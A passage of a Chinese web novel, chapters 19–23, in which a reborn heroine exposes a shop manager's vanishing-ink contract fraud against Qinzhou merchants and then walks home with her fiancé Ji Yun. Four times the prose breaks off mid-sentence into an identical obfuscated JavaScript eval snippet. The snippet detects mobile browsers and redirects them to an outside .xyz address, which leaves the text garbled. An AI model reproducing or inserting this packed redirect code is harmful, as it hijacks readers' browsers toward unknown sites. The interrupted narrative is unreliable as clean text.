家中虽为他在翰林医官院谋了个“掌药奉卿”的六品闲职,可他本人对药理医道一窍不通,纯粹是个靠着祖荫、尸位素餐的绣花枕头。 前世因着纪家与荣王府那点拐弯抹角的表亲关系,孟玉桐在宴会上与李璟打过几次照面。 两人互相瞧不上眼——李璟嫌她商户出身,孟玉桐鄙他不学无术。彼此间连寒暄都欠奉,拢共没说过三句整话。 而这一世,两人最近的一次交集,便是不久前在清风茶肆。李璟替纪昀打抱不平,曾当着一众公子哥儿的面,高声嗤笑。说纪昀与她这“商户女”结亲,简直是“亏大发了”! 忆及此句,孟玉桐额角不由得跳了跳。脸上闪过一丝鄙夷,似这等口无遮拦、狂妄自大的纨绔,能做出那等哄骗外乡客商签下阴阳契书的龌龊勾当,倒也不足为奇。 19. 第 19 章 上一世,孟玉桐婚后去郊外巡视纪家的一处庄子,途中偶遇了一队形容狼狈的客商。 他们皆是秦州人士,正垂头丧气地沿着官道向西北踽踽而行,显是盘缠耗尽,黯然归乡。 她遣了白芷上前探问才知:这行人是来临安城售卖秦州特有的金玉首饰。原与八珍坊签了契据,言明借铺售卖一月,所得利润抽三成予八珍坊主事,充作赁金。 孰料,八珍坊的伙计竟欺他们人生地疏,谎称原契丢失,需重立新契。便是趁此机会,在那新契上偷梁换柱,将三成利改成了九成。 那领头的客商刘思钧,是个初出茅庐的秦州少年郎,涉世未深,被哄着落了款。待他们将带来的金玉首饰售卖一空,去分取利润时,方才惊觉中了圈套,血本无归,连返乡的盘缠都折了进去。 孟玉桐观其惨状,心下恻然,便做主将他们暂且安顿在自己巡视的那处庄子上。 这些秦州客商倒也知恩,帮着晾晒、分拣药材,以此赚取些微薄的归家之资。 也是这段时日,孟玉桐与那少年头领刘思钧熟识起来。刘思钧虽有时行事跳脱,不太着调,于药草一道却颇有几分天资与家学渊源。 两人常于药圃田埂间,或是庄头廊下,就着各类草药的性味归经、炮制之法,细细探讨,一来二去,倒成了交情。 临别之际,刘思钧为报收留之恩,将一行人进城途中,无意在临安城外一处山野发现的珍贵药脉所在,悉数告知了孟玉桐。 后来临终前,孟玉桐将这些记在纸上,让白芷交给了祖母…… “姑娘安好,想挑些时兴的首饰?”两个伙计一左一右殷勤围拢上来,招呼声一个赛一个的响亮热络,瞬间将孟玉桐从回忆中拽回。 她定了定神,眸光清亮,转向左边那个面色黝黑、宽额长眉,瞧着颇有几分耿直热忱气的伙计,启唇问道:“听闻贵店有上好的秦州玉饰?” 那伙计闻言,浓眉一扬,脸上顿时绽开热情洋溢的笑容,忙不迭地引着她向左首的柜台走去。 他手脚麻利地从紫檀木柜台中小心翼翼地取出一件件金玉首饰,口中不停介绍着:“姑娘您瞧,这都是秦州来的好货!您看这玉兰花簪,用的是上等的和田籽料,您戴上一定好看!” 崔大成语速快而朴实,带着一股子实在劲儿。 另一边的伙计阿昌见状,撇了撇嘴,眼底掠过一丝遮掩不住的酸意,悻悻地退回原位,身子斜倚着冰冷的柜台,眼神却死死胶着在对面的热闹上,暗自腹诽:自打那群秦州蛮子弄来这些劳什子,铺里的风头全叫他们抢尽了!这月例钱怕又要少得可怜! 他正自怨自艾地呲着牙花子,八珍坊的掌柜郑辉背着手,踱着方步走了进来。 他那双精明的三角眼一扫,左边柜台前笑语喧阗,人影绰绰;右边自家柜台却门可罗雀,阿昌更是蔫头耷脑。 郑辉的脸色立时沉了下来,如同罩上了一层寒霜。他几步走到阿昌跟前,屈起指节,带着怒气在光亮的酸枝木柜台上重重叩了两下,声音压得低,却透着一股子刺骨的阴冷:“戳在这儿当门神呢?眼瞅着生意都教对过儿揽了去!你这差事是怎么当的?回头世子爷问起这月的流水,你让我拿什么交差?!” 阿昌被他吓得一哆嗦,脖子下意识地缩了缩,哭丧着脸,声音细若蚊蚋,带着十二分的委屈:“掌、掌柜的……这实在怪不得小的呀! “前些日子,纪府那位公子在对过儿买了件顶好的秦州玉器给纪夫人贺寿,这秦州金玉的名声一下子就传开了。 “现下但凡进店的夫人小姐,都是直奔那头去的,眼神都不带往咱这边瞟一下的。 “小的就是浑身是嘴,也、也拉不住客呀……”他越说声音越低,头也越垂越低,恨不得钻进柜台底下去。 郑辉听着,腮帮子咬得死紧,袖中的拳头更是捏得咯咯作响,心头涌上一股浓烈的悔意。 当初贪图那三分利,允了那帮外乡人在此寄卖,哪曾想竟是引狼入室!如今倒好,自家的生意被生生挤兑得门庭冷落,这月的账目必定难看至极。 想到那位脾气乖戾、眼高于顶的东家世子见了账簿后的雷霆之怒,郑辉只觉得一股寒气从脚底板直冲天灵盖,脊背都沁出了冷汗。 不行!断不能坐以待毙!得想个法子,把这局面给扳回来…… 他焦躁地在原地踱了两步,鞋底摩擦着光洁的青砖地面,发出细微而刺耳的声响,眉头紧拧,眼中精光闪烁,显然在急速盘算着各种手段。 “掌柜的,对面那个刘公子不是日日都跟着在这看着的么?怎么今日不见他?” 阿昌见郑辉心焦气躁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142271|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙沏了盏凉茶奉上,小心翼翼道:“掌柜的消消火。” 郑辉接过茶一饮而尽,随口道:“那位今日过生辰,约莫是和乐楼吃酒庆贺去了。” “生辰酒啊?”阿昌咂咂嘴,语气里透着酸溜溜的艳羡,“瞧他们那帮粗豪汉子,不喝个酩酊大醉怕是不会归。” 那群外乡人竟能上和乐楼摆酒,看来是真赚了! 郑辉将空茶盏重重往酸枝木柜台上一顿,发出“铿”一声脆响。 阿昌吓得一哆嗦:“掌、掌柜的?” 郑辉眸底精光一闪,抬手便给了阿昌一个暴栗:“倒叫你点醒了爷!” 他一把扯过阿昌,俯身在其耳边急促低语数句,随即若无其事地直起身,冷声催促:“速去办妥!” “这……这怕是不妥吧?万一世子爷知晓……”阿昌缩着脖子,声音抖得不成调。怎么老让他干这些黑心事儿啊! “啰嗦什么!叫你去便去!”郑辉面色一沉,拧住阿昌耳朵便是一拧。阿昌痛得龇牙咧嘴,连声告饶:“哎哟!掌柜饶命!小的这就去!这就去!” 对面孟玉桐与崔大成被这厢动静吸引,齐齐侧目望来。 郑辉立刻松手,朝孟玉桐挤出个尴尬笑容:“惊扰姑娘了,教训个不晓事的下人,您请自便,慢慢挑选。” 孟玉桐收回目光,随手点了崔大成方才介绍的玉簪:“劳烦包起来。” “那位是贵店掌柜?”孟玉桐接过锦盒,状似随意地问。 崔大成手脚麻利地包好簪子,咧嘴一笑,黝黑面庞衬得牙格外白亮:“是郑掌柜!掌柜的人好,肯让咱们这外乡人在八珍坊寄卖,敞亮!” 孟玉桐被那口白牙晃得微怔,心下暗叹:这般憨直,难怪前世被算计得那般凄惨。 她顺势追问:“怎不见你们主事?我手头有几件收来的秦州玉器,想请行家掌掌眼,辨个真伪。” “我家公子今日生辰,同大伙儿在和乐楼吃酒呢!”崔大成热心道,“姑娘若不急,明日携来可好?” 和乐楼?吃酒?孟玉桐心下一凛。她记得清楚,刘思钧酒量浅薄,离临安那日答谢宴上,不过三四盏下肚便已胡言乱语、脚步虚浮。 再联想方才郑辉与阿昌鬼祟低语、动手胁迫的场面……莫非前世哄骗补签阴阳契,正是今夜?! 20. 第 20 章 孟玉桐强压心头惊涛,面上不露分毫,眼角飞快扫向对面,阿昌果然不见了,只剩郑辉还倚着门框,眼神不知道飘哪儿去了。 她立刻解下腰间的玉葫芦,用素帕紧紧裹住,声音里带上了一丝掩饰不住的急切和难过:“对不住,这事儿实在等不得。能不能麻烦小哥跑一趟和乐楼?等刘公子喝完酒回来,请他帮我看看这个?” 她垂下眼,声音微微发颤:“这是……我娘留下的。她也是秦州人,今儿……正好是她的忌日,我想带着它去坟上……” “哎哟,姑娘!”崔大成看她眼圈都红了,急得直搓手,一张黑脸膛涨得通红,“您别急!千万别急!您就在这儿等着,我这就去把公子找回来!” 话还没落地,他人已经从柜台后面窜了出来,冲着门口的郑辉胡乱喊了一句:“郑掌柜!劳您看顾一下!我去去就回!” 郑辉那边还没应声,崔大成已经像阵风似的卷出门去,跑没影了。 孟玉桐亦紧随其后,行过郑辉身侧时微微颔首,步履匆匆追着崔大成的背影而去。 “欸?崔大成!谁允你了?!”郑辉指着两人消失的方向,叉腰啐骂,“真真晦气!” 他眼底掠过一丝阴鸷,可别搅了他的好事! 崔大成身形魁梧,性急如火,脚下虎虎生风。孟玉桐提着裙裾,紧追其后,颇有些吃力。 不多时,两人一前一后停在了和乐楼下。 三层飞檐斗拱,朱漆金字匾额高悬,门前车马喧嚣,跑堂伙计穿梭如织。 楼内丝竹管弦与喧哗劝酒声浪阵阵涌出,端的是临安城数一数二的热闹去处。 崔大成浑然不知孟玉桐跟在后头,在门口略一停顿,便大步流星闯入大堂,问明刘思钧所在雅间,蹬蹬蹬直上二楼。 二楼包厢内,此时正酒气熏天,劝酒声浪几乎掀翻屋顶。 刘思钧被众人簇拥在主位,正以手扶额,脑袋一点一点地往桌面上栽。 “少当家的,今儿可是您的寿星公,怎地这般不济事?”崔二成举杯大笑,声如洪钟。 “这才哪到哪?几杯黄汤就软了骨头?”梅三撇嘴,脸上嫌弃毫不掩饰。 刘思钧打了个响亮的酒嗝,强撑着摆手:“谁、谁醉了?容我……缓口气……” 就在此时,阿昌猫着腰,像条滑溜的泥鳅般钻到刘思钧身侧,手中攥着两张薄薄的契纸,声音干涩发紧:“刘公子,您行行好,抽空将这补签的契书落个款,小的也好回去……交差……” 他心跳如擂鼓,额角冷汗涔涔,湿透了鬓角。 刘思钧被酒气熏得头晕眼花,只想寻个清静,闻言不耐地挥挥手。 阿昌如蒙大赦,赶紧将契书递上。刘思钧虽醉,商人的本能犹在。 他推开面前狼藉的杯盘,就着雅间四角悬挂的明亮琉璃宫灯,眯起醉眼,一行行细细审阅。 嗯……白纸黑字,确与初签那份一般无二。 “你们郑掌柜……也太不当心了,”他含混嘟囔,“七日前才签的契,转眼就……寻不见了?” 刘思钧指尖捻平纸张,接过阿昌颤抖递上的狼毫笔,笔尖饱蘸墨汁,悬于契书落款处。 阿昌屏住呼吸,眼珠子死死钉在那墨色欲滴的笔尖上,喉结紧张地滚动——成了!马上就成了! “掌柜的近日事忙,许是一时疏忽了,”阿昌的声音飘忽得几乎听不见,带着无法抑制的颤音。 刘思钧含糊应了一声,手腕微沉,笔尖堪堪触及纸面—— “哐当!”雅间门被一股大力猛然撞开!崔大成如一阵黑旋风卷入,三步并作两步冲到刘思钧面前,带起的风几乎掀翻阿昌。 刘思钧手一抖,墨点晕开一小团。 他醉眼朦胧,茫然抬眼:“怎……店里出事了不成?” 崔大成一屁股将惊魂未定的阿昌顶了个趔趄,急吼吼道:“少当家的!快随我回店里!有位姑娘带了要紧的玉器,非请您掌眼不可!” 阿昌好容易站稳,气急败坏:“崔大成!你发什么疯!这等小事也敢扰少当家酒兴?!” 正吵嚷间,一道明丽身影已随着敞开的门扉,步履从容地踏入这喧嚣之地,停在崔大成身侧,朝主位微微福身,声音清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149590|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泠:“刘公子。” 崔大成见她也跟着来了,赶紧噼里啪啦地把孟玉桐那套“母亲遗物”、“秦州故旧”、“今日忌辰”的说辞又倒了一遍。 众人一听,都跟着叹气,纷纷放下酒杯茶盏,七嘴八舌地催促刘思钧:“少当家的,快帮帮这位姑娘吧!” 孟玉桐将那块素色帕子包着的东西递了过去。 刘思钧醉眼朦胧地掀开帕子一角,露出了里面那枚不起眼的玉葫芦。 他目光触及玉葫的刹那,醉态似乎消散了几分。 他慢慢抬起头,目光在孟玉桐那张明丽又沉静的脸上停留了好一会儿,才开口问道,声音比刚才沉了许多: “敢问姑娘芳名?” “孟玉桐。” “在下……”他顿了一下,声音低沉,带着几分郑重,“刘思钧。” 这异样的郑重与凝视落在周围那群粗豪汉子眼中,顿时变了味道。 “哟呵!少当家的,莫不是被这江南的美人儿勾了魂去?”崔二成挤眉弄眼,率先起哄。 “就是!瞧这眼都直了!也不怕吓着人家!”梅三也跟着拍桌大笑。 一时间,包厢内响起阵阵哄笑声,只道是自家少东家被这突然闯入的明艳佳人摄去了心魄。 阿昌听着二人互通姓名,心头擂鼓更急,硬生生从人缝里挤进半个脑袋,颤声催促:“刘公子,这契书您看是不是先抽空落个款?小的也好回去交差啊。” 孟玉桐扫过桌面的契书,在分利那几句停了停。 ‘所获利润按照叁成分给八珍坊’ 似乎是没什么问题…… 她心头仍有疑云,便不动声色地上前半步,一只手似不经意般往后轻按在桌面上。 指尖悄然勾起契书一角,借着宽大云袖的遮掩,神不知鬼不觉地将面上一张抽入袖中藏起。 众人皆瞧着刘思钧,无人察觉她的动作。 契书到手,孟玉桐抬眸,目光清凌凌地投向阿昌,语声平和笃定:“这位小哥,方才来时,仿佛见郑掌柜神色焦灼,正四处寻你,想是有万分火急之事。” 21. 第 21 章 阿昌对上那双黑白分明、不似作伪的眼眸,心头一虚,脚下便有些迟疑。 掌柜的莫不是反悔了? 那他究竟还要不要再催着刘思钧签那契书呢? 他思绪乱飞,人直愣愣杵在原地,不知该该走还是该留。 崔大成见状,一把抓起桌上那纸契书,胡乱塞进阿昌怀里:“什么了不得的契非得今儿签!没瞧见有更要紧的事?” 不由分说,连推带搡地将懵然的阿昌轰出了喧嚣的雅间。 阿昌怀里揣着烫手山芋般的契书,抬袖擦了擦满头的汗,终于惶惶然奔回了八珍坊。 雅间内,刘思钧指腹摩挲着那枚温润的玉葫芦。 玉葫在指尖轻转,翻转至底部时,显露出一道细微莫辨的旧磕痕。 刘思钧身形骤然一僵。 方才还弥漫周身的酒气仿佛瞬间被抽离,他猛地坐直脊背,醉意消散无踪。 那双因酒意而朦胧的眸子,此刻清明如常,紧紧锁住孟玉桐的面庞。 这磕痕——真的是她! 他喉结滚动,强压下翻腾的心绪,将玉葫芦仔细裹回素帕,递还的动作带着前所未有的郑重:“孟姑娘,此玉确系秦州所出,温润如初。令慈泉下有知,当可告慰了。” 这玉自然是真的,孟玉桐看也未看,欠身接过,连声道谢。 交接间,她悄悄抖了抖手腕,袖中那张契书悄然滑落,无声飘至崔大成脚边。 “少当家,阿昌落了东西。”崔大成弯腰捡起,随手丢回桌面。 刘思钧的目光却仍胶着在孟玉桐身上,探究之意更深。 孟玉桐仿佛未觉,从容地将玉葫系回腰间,动作间,视线似是不经意地扫过桌上契书,黛眉微蹙,轻“咦”一声:“这契书上分利一项,为何字迹空缺?” “空缺?”崔大成不识字,闻言立刻抓起契书递给刘思钧,自己也凑着脑袋过去看。 刘思钧凝目看去,只见关键处赫然一片空白:“柳家商队在八珍坊寄卖玉器期间,所获利润按照成分给八珍坊。” “方才阿昌递予我时,此处分明是‘叁’字!”刘思钧一把夺过契书,仔细又看了一遍,最终拍案而起。 他惊怒交加,背后瞬间沁出一层冷汗——好险!若非崔大成及时闯入…… 崔大成瞪大了眼,“为何这上头的字会凭空消失呢?” “是‘墨斗汁’,”孟玉桐清冷的声音如碎玉投湖,点破迷障,“此墨初写如常,遇光遇热,不过一时三刻,字迹便自行消褪,不留痕迹。” 她抬手在原先放契书的桌面空处点了点,继续道:“此处放了热汤,桌面是热的,契纸在这上头搁了一会儿,上头的字遇热便散了。” 跟在祖母身边这许多年,一些生意场上的腌臜手段她早已耳熟能详。 一石激起千层浪。 “直娘贼!这是要玩‘墨褪无踪、白纸填字’的把戏啊!”梅三双目赤红,暴喝出声,“若真签了,回头他们大笔一挥填个‘拾’字,咱们兄弟岂不连裤衩都要赔光?!” 满屋血气方刚的汉子顿时炸开了锅,撸袖拍桌,叫嚷着要去砸了八珍坊。 “都消停点!”刘思钧一声断喝,压下沸腾的怒意。 他此刻渐渐冷静下来:“无凭无据,贸然上门,对方岂会认账?反咬我们诬赖也未可知!” 孟玉桐赞同点头,“刘公子,你们人在屋檐下,扯破脸皮或许能逞一时之快,可八珍坊的是荣亲王的产业,必不会让你们一行外乡人讨到好处。为今之计,不如先保全自身,早日抽身,再谋后路。” “难道就这般忍了?!”梅三气得一脚踹翻了矮凳。 “非是忍气,”刘思钧目光转向孟玉桐,隐含感激,“孟姑娘所言极是。八珍坊背靠荣亲王府,树大根深。我等外乡行商,若逞一时意气,无异以卵击石。当务之急,是全身而退,再谋后策。” 他郑重抱拳:“今日大恩,刘某铭感五内,他日必当亲自登门拜谢。此刻夜色已深,姑娘不宜久留。” 旋即果断下令:“崔大成,务必护孟姑娘周全回府。崔二成、梅三,你二人随我回八珍坊周旋。其余人,速回客栈整装待命,不得妄动。” 刘思钧年纪虽轻,但危急关头分得清是非紧要,也颇有魄力,一行人在他的安排下不再有异议。 孟玉桐见风波已定,契书之危暂解,便敛衽一礼与众人告别,与崔大成一前一后出了和乐楼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157789|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 回去路上,孟玉桐步履渐急。 白芷与桂嬷嬷久候她不至,恐怕此时已心急如焚。她得快些回去,免得两人担心。 崔大成紧随其后,犹自沉浸在方才的惊险中,心有余悸,脚步亦快:“那姓郑的,平日装得人五人六,背地里竟使这等下作手段!真真可恨!” 孟玉桐温言提醒:“人心叵测,你们初来乍到,万事该留个心眼,更需处处谨慎,不要轻易相信他人才是。” “姑娘说的是!”崔大成拍着大腿,黝黑脸上满是愤慨,“咱们秦州地界,商旅往来最重信义,何曾见过这般腌臜!待这批货出手,我定要劝少东家早日离了这是非之地!” “秦州距此千里迢迢,”孟玉桐随意问道,“何以远涉至此行商?”她忆起前世刘思钧那套“历练”的说辞,总觉牵强。 上一世他们一行人在纪家分明攒够了回去的路费,却还多逗留了数月,像是有什么事未办一样。 崔大成对孟玉桐全无防备,这位长相漂亮又心善的姑娘今夜可是大家伙的救命恩人,遂脱口道:“做生意是顺带,少当家此来,主要是为寻一位故人。具体寻谁……我也不甚清楚。” 寻人?孟玉桐眸光微闪,前世倒未曾听闻。 不过此乃刘思钧的私事,说来与她没什么干系。今夜出手,已全了前世之谊。柳氏商队日后如何,非她所能左右。 她自有她的事情要做。 二人沿御街北行,崔大成絮叨着秦州风物,孟玉桐偶尔含笑应和。 转过南瓦子,珍味楼的灯火遥遥在望,相距不过半里。 孟玉桐抬眸,目光倏然定住。 街角灯笼暖光下,一人长身玉立,紫棠色云锦常服衬得身姿如修竹,腰间玉带螭纹隐现,通身清贵之气仿佛将喧嚣街市隔开,自成一方静谧天地。 正是纪昀。 连素来憨直,自诩不以貌取人的崔大成,此刻也看得呆住,只觉此人如画中谪仙,气质斐然,不似凡尘。 而孟玉桐唇畔那抹温软笑意,却在看清来人的刹那,寸寸敛去,只余下一片沉静的疏离。 变脸之快,判若两人。 迟钝如崔大成,也觉出周遭空气瞬间凝滞。 22. 第 22 章 崔大成皱眉,孟小姐那反应,像是碰到仇人了…… 他不安地望望两人,终是转向孟玉桐,小心翼翼问道:“孟姑娘,您认得那位公子?” 孟玉桐微微颔首,夜风拂过她鬓边的碎发,“崔大哥留步,我的丫鬟嬷嬷就在前头候着了。” 崔大成闻言,也不再多问,只憨厚地抱拳一揖,便迈开大步,急匆匆地朝着八珍坊方向去了,那壮实的身影很快便融入熙攘的人流。 她刚欲转身,一道清冷的声音自身侧响起,有人淡声喊她:“孟姑娘。” 孟玉桐心头微凛,面上未露分毫。 这两日她让白芷暗中留意祖母的动向,知晓祖母正为旁的事务所扰,尚未腾出手来料理纪家这门亲事。 眼前这人,此刻仍是她名分上的“未婚夫婿”。 她旋身,唇角勾起浅笑,盈盈施了一礼,“纪公子安好,公子怎在此处?” 纪昀站在渐次稀疏的灯火下,站得笔直,一身紫袍在光影里衬得他面容清俊,却也带着几分疏离的冷意。 他没接她的话头,只是平静地陈述:“纪家在御街中段,通和坊右转,宁海巷最深处。” 他的目光平静,只是在陈述一个再寻常不过的事实。 孟玉桐眼睫几不可见地动了一下,只觉得这话来得有些没头没脑,“公子说笑了,玉桐自然知晓。” 纪昀的声音依旧没什么起伏:“从翰林医官院回纪家,此处是必经之路。” 孟玉桐心头微微一跳。 他此言何意?是在说她明知故问?还是没话找话? 总之听着很不舒服。 “孟姑娘深夜流连于此,所为何事?”纪昀的视线越过道旁琉璃风灯投下的幢幢光影,直直落在她脸上,似乎要将她里外看个通透,“孟府的方向,似乎与此相悖。” 孟玉桐心口紧了紧,暗恼这人管得太宽,面上却依旧展露着得体笑容,语气轻描淡写,“我同丫鬟随意逛逛,不甚走散了,正要回去寻她们。” 纪昀没再说话,静了一瞬,忽然走近两步,站到了她身侧。一股清冽的、如同冬日松林覆雪般的气息,无声地漫了过来。 “更深露重,人潮喧杂,”他声音低沉,“纪某送姑娘一程。” 孟玉桐下意识便要婉拒:“不敢劳烦公子,珍味楼就在眼前,几步之遥……” 然而话音未落,纪昀已提步向前,步履沉稳,只淡淡回了两字:“顺路。” 两人便这般默然前行。纪昀步履从容,却快她半个身子。 孟玉桐索性放慢了步子,刻意落后。 起初只是半步之遥,渐渐拉开至一步、两步……最终,两人之间隔着足有丈余的距离,倒不像是同路之人。 前方那道颀长的身影倏然顿住。 纪昀侧身回望,清冷的月光与暖融的灯火交织在他轮廓分明的侧脸上,投下深邃的阴影。 他静静凝视着落在后方的孟玉桐,那张一贯没什么表情、冷冰冰似玉像的脸上,竟罕见地掠过一丝极淡的困惑:“孟姑娘,为何离得这般远?” 他顿了顿,声音里听不出情绪,“可是纪某身上有何不妥,令姑娘避之不及?” 孟玉桐脚步微滞,没料到他会那般直白地问出来,只得稍稍加快步伐跟上,脸上表情有些僵硬,敷衍道:“夜深人静,孤男寡女同行于闹市,恐污了公子清誉,惹人闲话。” 此时正值夜市最喧闹的时辰,摩肩接踵,人流如织。 迎面而来的行人络绎不绝,推搡拥挤间,走在街道外侧的孟玉桐接连被撞了几下。 纪昀往外走了一步,将孟玉桐隔进了里侧。 他并未看她,视线平视前方灯火阑珊处,“孟姑娘方才与八珍坊的伙计在一处时,瞧着有说有笑,倒是没有这男女大防的顾虑。如此说来,还要多谢姑娘替纪某考虑。” 这一句冷不丁将孟玉桐噎得脚步一顿。 她索性抿紧了唇,不再接话,只微微偏过头,漫不经心地瞧着路边摊子上的各色小玩意儿。 街道两侧,摊贩吆喝声此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16164067|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起彼伏。 一个提着竹篮的香囊小贩尤为卖力,他手中举着一根长长的竹竿,上面挂满了五颜六色、针脚细密的香囊。 那小贩见他们走近,更是抖擞精神,拖着长腔吆喝:“哎——上好的安神香、驱蚊香、女儿香!檀香、沉香、苏合香,闻一闻神清气爽,挂一个百病全消咯——!” 纪昀瞧了那琳琅满目的香囊一眼,随口问道:“上回孟姑娘落下的那只香囊,其味舒缓宁神,清雅不俗。其中当有甘松、苏合、安息香……” 他微微侧首,目光落在她被灯光勾勒得柔和的侧颜上,“……然则,尚有一味香,清甜之中隐带微苦,后调又透出几分酸,颇为独特。不知是何物?” 他怎么会突然对那只香囊感兴趣? 孟玉桐心中疑窦丛生。纪昀这人性子淡的很,除了与医药相关的事,倒没见他对别的上心。 她用余光斜眼瞧他,两人这般靠近,能清楚看见他眼底有淡淡乌青之色。 她忽然想起纪昀的失眠之症。 或许是那只香囊对他的症状有所改善。他这才向她问询其中配比。 孟玉桐压下心中种种猜测,缓缓道:“取岭南荔枝风干后剥下的外壳,细细研磨成粉,烘制时再加入少许陈年普洱的茶末,取其苦涩回甘之意,有安神定志、清心除烦之效。” 纪昀眉心微动,眼中掠过一丝极淡的兴味,“孟姑娘心思灵巧,我倒是第一次听说这样的制香法子。” 孟玉桐笑笑,说起她感兴趣的东西,她的话便比平时多些,“幼时家父自岭南行商归来,曾捎回一匣稀罕的荔枝。那时年幼贪嘴又吝啬,每日只舍得啖一颗,余下半匣竟生生风干了。 “弃之可惜,我便自己胡乱鼓捣着塞进了香囊里。未曾想,那气味竟意外地清幽舒朗,令人心绪安宁。这方子,便也留了下来。” 再往前不过五步,就要到珍味楼了。 孟玉桐停下步子,看向纪昀,“纪公子方才问了我许多问题,礼尚往来,我能否也问公子一个?” 23. 第 23 章 微凉的夜风悄然撩动纪昀紫棠色云锦袍角,也拂起孟玉桐鬓边几缕青丝。 两人静静相对而立,周遭人声鼎沸,车马缓缓驶过,纪昀的声音一如往常清润淡然,“孟姑娘但问无妨。” “在纪公子心中,觉着我是什么样的人?” 月色恰好落入她乌黑的眸底,漾开一片细碎而清冷的光影,四周分明热闹喧嚣,可她眼中却好似藏了一片孤茫。 他眼帘微垂,复又抬起,眸光在她脸上停留片刻,薄唇轻启,开口说的是:“姑娘芳名远扬,温婉毓秀,大方贤淑。” 纪昀这番话和自己所料想的差不多。 孟玉桐点点头,唇角忽地向上弯起,绽开一道极明艳的笑,眼底却带着疏离与冷漠,“可能要叫纪公子失望了,我不是那样的人。” “我出身商户,性子倔强,未来或许会做许多旁人觉着惊世骇俗之事,亦非贤良新妇之选。” 纪昀静静望着她,那双惯常清冷的凤眸深处,仿佛有极其细微的波澜一闪而逝。 这锋芒毕露、自毁名声的姿态,究竟是她本性流露,还是刻意为之的伪装? 她想做什么? “姑娘!”一声带着哭腔的呼喊骤然打破这紧绷的寂静。 白芷从珍味楼方向疾奔而来,一把抱住孟玉桐,声音哽咽:“姑娘您上哪去了!奴婢和桂嬷嬷找遍了八珍坊,魂都快吓没了!” 桂嬷嬷紧随其后,气喘吁吁,拉着孟玉桐上下打量,确认无虞,才拍着胸口连声道:“阿弥陀佛,菩萨保佑!没事就好!没事就好! 孟玉桐温言安抚着惊魂未定的两人:“莫慌,方才遇见位故人,多聊了几句,累你们担心了。” 待她安抚好丫鬟嬷嬷,再抬眼望去,发现纪昀不知何时已经离开了。 也好。 她心中漠然。 方才那番剖白,不过是为日后祖母退亲铺路。 他作何感想,是惊是怒,抑或如释重负,皆与她无关。 或许,经此一晤,他们本就不该有交集的人生,将彻底走向平行。 “姑娘,”白芷接过她手中装着玉簪的锦盒,心有余悸地问,“纪公子是在哪儿找到您的?可真是帮了大忙了!” “找到?”孟玉桐眉心微蹙,捕捉到关键,她同纪昀不是偶遇么? “是啊,”白芷用力点头,急急解释,“方才奴婢和桂嬷嬷在八珍坊寻不见您,急得团团转。那郑掌柜只顾着唾沫横飞地训斥伙计,哪肯理会我们。恰巧碰见纪公子回府路过,奴婢实在没法子,只好硬着头皮求他帮忙寻人……纪公子二话没说就应下了。” “所以他本来是准备回去的,你们让他帮忙找我,他才折返回去寻我?”孟玉桐有几分诧异。 印象中,他不是这般多管闲事的人。 白芷点点头,见孟玉桐神色有些不自然,白芷忙道:“姑娘,我们是不是不该把纪公子叫上的?奴婢同桂嬷嬷方才也是一时慌了,这么大个御街,我们两人真不知上哪儿去找。” “没事,”孟玉桐安慰道,“我们先回去罢。” 八珍坊这头,崔二成与梅三架着刘思钧走着醉步摸到了八珍坊门口。 阿昌面如土色,垂首鹌鹑般缩在角落。 郑辉骂得口干舌燥,正抱着凉茶壶‘咚咚咚’牛饮。 “刘公子回来了!”阿昌如蒙大赦,慌忙去接茶壶。 郑辉抹了把嘴,瞧见刘思钧那副烂醉如泥的模样,眼中狠厉顿消,嘴角勾起一丝不易察觉的冷笑。 他朝阿昌猛使眼色,示意速备新契,自己则堆笑迎上:“快,快扶刘公子进来歇着!” 刘思钧被安置在内间软榻,悠悠“转醒”。郑辉殷勤地在一旁打扇:“今日良辰,刘公子可尽兴了?” 刘思钧猛地凑近,一个响嗝直冲郑辉面门。秽气熏得郑辉连退数步,几欲作呕。 “不……不够!”刘思钧挥舞着手臂,推搡崔二梅三,“拿……拿酒来!” 